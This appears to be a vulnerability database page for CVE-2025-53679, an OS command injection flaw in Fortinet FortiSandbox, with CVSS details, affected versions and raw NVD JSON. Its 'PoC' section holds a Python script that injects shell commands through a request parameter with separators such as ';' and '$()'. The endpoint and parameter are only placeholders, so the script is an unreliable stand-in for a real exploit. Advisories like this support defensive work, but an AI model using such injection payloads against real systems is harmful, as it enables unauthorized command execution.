Security Vulnerability Report
中文
CVE-2025-53679 CVSS 7.2 HIGH

CVE-2025-53679

Published: 2025-12-09 18:15:53
Last Modified: 2026-02-05 16:58:46

Description

An improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability [CWE-78] vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.2, FortiSandbox 4.4.0 through 4.4.7, FortiSandbox 4.2 all versions, FortiSandbox 4.0 all versions, FortiSandbox Cloud 24.1, FortiSandbox Cloud 23 all versions allows a remote privileged attacker to execute unauthorized code or commands via crafted HTTP or HTTPS requests.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisandbox_cloud:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisandbox_cloud:24.1.4436:*:*:*:*:*:*:* - VULNERABLE
FortiSandbox 5.0.0 - 5.0.2
FortiSandbox 4.4.0 - 4.4.7
FortiSandbox 4.2 所有版本
FortiSandbox 4.0 所有版本
FortiSandbox Cloud 24.1
FortiSandbox Cloud 23 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53679 PoC - FortiSandbox OS Command Injection # Note: This PoC is for educational and authorized testing purposes only import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) target_url = "https://<target-ip>/api/v2.0/<endpoint>" # Replace with actual vulnerable endpoint and parameter # The vulnerability allows OS command injection via crafted HTTP/HTTPS requests def exploit_cve_2025_53679(target, command="id"): """ Exploit OS Command Injection in FortiSandbox Args: target: Target URL command: Command to execute on the target system Returns: Response from the target """ headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Bearer <admin-token>" # Requires high privileges } # Payload construction - inject OS command # Typical injection patterns: ;command`, |command`, &&command`, $(command) payload = { "param": f"value;{command}" } try: response = requests.post(target, data=payload, headers=headers, verify=False, timeout=30) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-53679 - FortiSandbox OS Command Injection") print("=" * 50) print("[!] Use only on systems you have permission to test")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53679", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:53.477", "lastModified": "2026-02-05T16:58:45.770", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability [CWE-78] vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.2, FortiSandbox 4.4.0 through 4.4.7, FortiSandbox 4.2 all versions, FortiSandbox 4.0 all versions, FortiSandbox Cloud 24.1, FortiSandbox Cloud 23 all versions allows a remote privileged attacker to execute unauthorized code or commands via crafted HTTP or HTTPS requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.4.8", "matchCriteriaId": "C0B145A7-83A1-4ED2-A9DC-109CAB0AB217"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "7A1CEA31-8309-4B13-8A3C-4830394A728D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox_cloud:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.1.4245", "versionEndExcluding": "23.4.4374", "matchCriteriaId": "31574D18-7175-4634-B191-99080F0FAF2F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox_cloud:24.1.4436:*:*:*:*:*:*:*", "matchCriteriaId": "529FB46C-C0E5-43F5-A753-DD9E928FD4E6"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-454", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}